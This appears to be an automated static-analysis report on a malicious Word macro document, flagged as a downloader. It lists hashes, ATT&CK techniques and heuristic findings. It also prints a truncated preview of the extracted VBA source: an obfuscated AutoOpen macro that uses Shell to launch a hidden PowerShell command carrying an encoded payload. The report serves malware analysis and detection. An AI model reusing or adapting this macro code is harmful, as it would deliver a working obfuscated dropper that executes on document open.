Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d6f88ec86b684ad0…

MALICIOUS

Office (OLE)

91.5 KB Created: 2018-05-31 21:13:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 3be3e84de8ddea068145dd72a311f463 SHA-1: 9b13cdc583372f1b75a0db675a6bf83571de1a8e SHA-256: d6f88ec86b684ad0c68d83d332174bbf72f01edf2c77fa17c35fb14d327f841e
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen macro and a Shell() call are present, indicating an attempt to execute arbitrary code. The ClamAV detection 'Doc.Downloader.Valyria-9978334-0' suggests this is a downloader. The script attempts to construct a PowerShell command, but it is heavily obfuscated and truncated, preventing a full analysis of its payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-9978334-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-9978334-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14837 bytes
SHA-256: 43e435c9568071d3aa5d04cdffba4b2b1e7da0f963772d2cf4d3c44e8efbe332
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "hNjPsAJ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function IfptzcXZCu()
On Error Resume Next
Select Case KAljiZWU
      Case 67457
         qSGTjK = 14788
         WhKjAD = CDbl(12933)
      Case 25589
         UrmqJG = PwYLQ
         MzopJc = 26272
End Select
Select Case KAldOwjd
      Case 26187
         YWAZQ = 60971
         dwmhL = CDbl(96121)
      Case 8155
         mwJpUM = Ktiztr
         oHfszq = 49980
End Select
IfptzcXZCu = GXSpG + Shell(ihljNrm + Chr(vbKeyP) + zscViizWItK + WmZHcMNlaF + zVHjAk + rwdjDVQVQNz + zjanqdW + AHqVvwR, YPIiTiWrsK + vbHide + flAucG)
Select Case KAlmABKT
      Case 83535
         cQPvq = 54154
         Zoswf = CDbl(23940)
      Case 12491
         RmLAIf = SwNMN
         JnKtB = 13147
End Select
End Function
Sub Autoopen()
On Error Resume Next
Select Case KAlNjzAA
      Case 73206
         qACLNR = 82253
         PzTiYa = CDbl(95991)
      Case 32295
         iOsQBi = iFoih
         KzWwLS = 92601
End Select
IfptzcXZCu
Select Case KAlwwTaY
      Case 19883
         SirPT = 28400
         mtQpR = CDbl(98807)
      Case 62559
         cIBap = MaPfU
         fRYpcY = 56875
End Select
End Sub


Attribute VB_Name = "XzSOaoMc"
Function zscViizWItK()
On Error Resume Next
Select Case KAlDzRktS
      Case 17115
         fbKjj = 59492
         PwokJj = CDbl(60291)
      Case 25506
         WNjoiG = IISUlj
         pjnYLr = 48882
End Select
vQYRdAnpZ = "owersHeLL -" + "WinDowsTyle h" + "idden -e KAA" + "nAEYATAA2A" + "G4AcwBhACcAKw" + "AnAGQAJwAr" + "ACcAY" + "QAnACsAJw" + "BzAGQAIAA" + "nACsAJwA9A"
Select Case KAlhUwKw
      Case 33408
         osYlY = 27023
         jUjYcC = CDbl(51925)
      Case 32887
         DjKzD = KTVTG
         PpUHhw = 39456
End Select
YEowNdiLZ = "CAAJwArA" + "CcAJg" + "AnACsAJwAo" + "AG4AJwArAC" + "cAVQBlAG4AbgBVA" + "GUAKwB" + "uAFUAZQBlAG4A"
Select Case KAlwALZJ
      Case 94624
         pmPXp = 31238
         vioSI = CDbl(34915)
      Case 65326
         PEIzU = OQuFGr
         DUkpG = 5864
End Select
cjEkHR = "VQBlACsAbgA" + "nACsAJwBVAGU" + "AdwAtA" + "G8AYgAnACsAJw" + "BqAGU" + "AYwBuAFUAZQAr" + "AG4AVQBlAHQ" + "AbgBVA" + "GUAKQAgAHIAJw" + "ArACcAYQBu"
Select Case KAlhGwQP
      Case 9957
         qTPoCr = 85685
         HRJcoa = CDbl(42645)
      Case 39465
         jYwrJ = cBPMX
         HrkPj = 46897
End Select
kvWRwAwMDD = "AGQAbwBt" + "ADsARgBMADYAW" + "QBZAFUAI" + "AA9ACA" + "ALgAoAG4AVQBl" + "AG4AZ" + "QBuACcAK" + "wAnAFUAJwA"
Select Case KAlfREAUT
      Case 25443
         fdOuK = 73776
         hrIChP = CDbl(74328)
      Case 74111
         iVazaZ = FCYpz
         XbYwkw = 45714
End Select
aRUwzVNdKwq = "rACcAZ" + "QAnACsAJwArAG4" + "AVQAnACs" + "AJwBlACc" + "AKwAnAHcAbgBVAG" + "UAKwBuAFUAZQA" + "nACsAJwAt" + "ACcAKwA" + "nAG8AYgBqAGUA" + "YwB0AG4AVQBlAC"
Select Case KAlSMWcK
      Case 86277
         hrhsf = 32444
         zsNsG = CDbl(30563)
      Case 17543
         lzfCTh = kfpOmM
         EWQjH = 45919
End Select
wChHopqnJRi = "kAIABTACcAKwAnA" + "HkAcwB0AGU" + "AbQAuAE4AZQ" + "B0AC4AV" + "wBlAGIAQ"
Select Case KAlrwUOB
      Case 53977
         irqHrZ = 50314
         zHZZC = CDbl(12785)
      Case 3545
         QiJqo = cZIlhu
         LoRFw = 4365
End Select
zVtdLiJmPK = "wBsAGkAZQ" + "AnACsAJw" + "BuAHQA" + "OwBGACcAKw" + "AnAEwANgA"
Select Case KAlzGumji
      Case 48206
         HiUEp = 88554
         jsmrr = CDbl(28451)
      Case 31380
         GsfZmT = TEEND
         kWGJS = 39033
End Select
NawjEJHAK = "nACsAJwBOA" + "FMAQg" + "AgACc" + "AKwAnAD0" + "AIABGAEwAJwArAC" + "cANgA"
Select Case KAlZQdEG
      Case 14184
         ZTGLZ = 67827
         nuDFm = CDbl(79285)
      Case 99313
         Qzbqu = VfiZuz
         qPbTf = 27657
End Select
KHnIDS = "nACsAJwBuAHM" + "AYQBkAGEAcw" + "Bk
... (truncated)

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